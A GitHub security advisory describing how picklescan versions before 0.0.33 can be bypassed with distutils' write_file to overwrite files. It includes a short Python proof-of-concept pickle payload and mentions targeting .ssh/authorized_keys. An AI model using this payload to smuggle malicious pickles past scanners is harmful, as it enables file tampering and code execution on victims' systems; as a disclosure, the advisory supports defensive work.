GitHub Advisoryadvisory · PyPI

GHSA-m273-6v24-x4m4 Picklescan vulnerable to Arbitrary File Writing

HIGH Published 2025-12-29 Modified 2026-06-18 Official page ↗
Aliases
CVE-2025-71321
Ecosystem
PyPI
Packages
picklescan
Severity
High
CVSS vector
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P
Weaknesses
CWE-502, CWE-552
Reviewed
2025-12-29

Affected packages

• PyPI picklescan: < 0.0.33 → fixed in 0.0.33

Description

Summary Picklescan has got open() and shutil in its default dangerous blocklist to prevent arbitrary file overwrites. However the module distutils isnt blocked and can be used for the same purpose ie to write arbitrary files. Details This is another vulnerability which impacts the downstream user. By constructing a pickle that user distutils.file_util.write_file, an attacker can overwrite critical system files (like .ssh/authorized_keys, web server configurations, or source code) to achieve DoS or escalate to RCE. PoC ```python import pickle import distutils.file_util class FileWriteBypass: def __reduce__(self): target_file = "pwned_config.env" content = ["print('I have overwritten your config')"] return (distutils.file_util.write_file, (target_file, content)) payload = pickle.dumps(FileWriteBypass()) with open("bypass_filewrite.pkl", "wb") as f: f.write(payload) print("bypass_filewrite.pkl") ``` To fix this just add disutil to the blacklist

Related

Alias · CVE (1)

  • CVE-2025-71321 picklescan before 0.0.33 contains an arbitrary file writing vulnerability that allows attackers to bypass the dangerous blocklist by using… vulnerability

Weakness · CWE (2)

  • CWE-502 Deserialization of Untrusted Data weakness
  • CWE-552 Files or Directories Accessible to External Parties weakness

References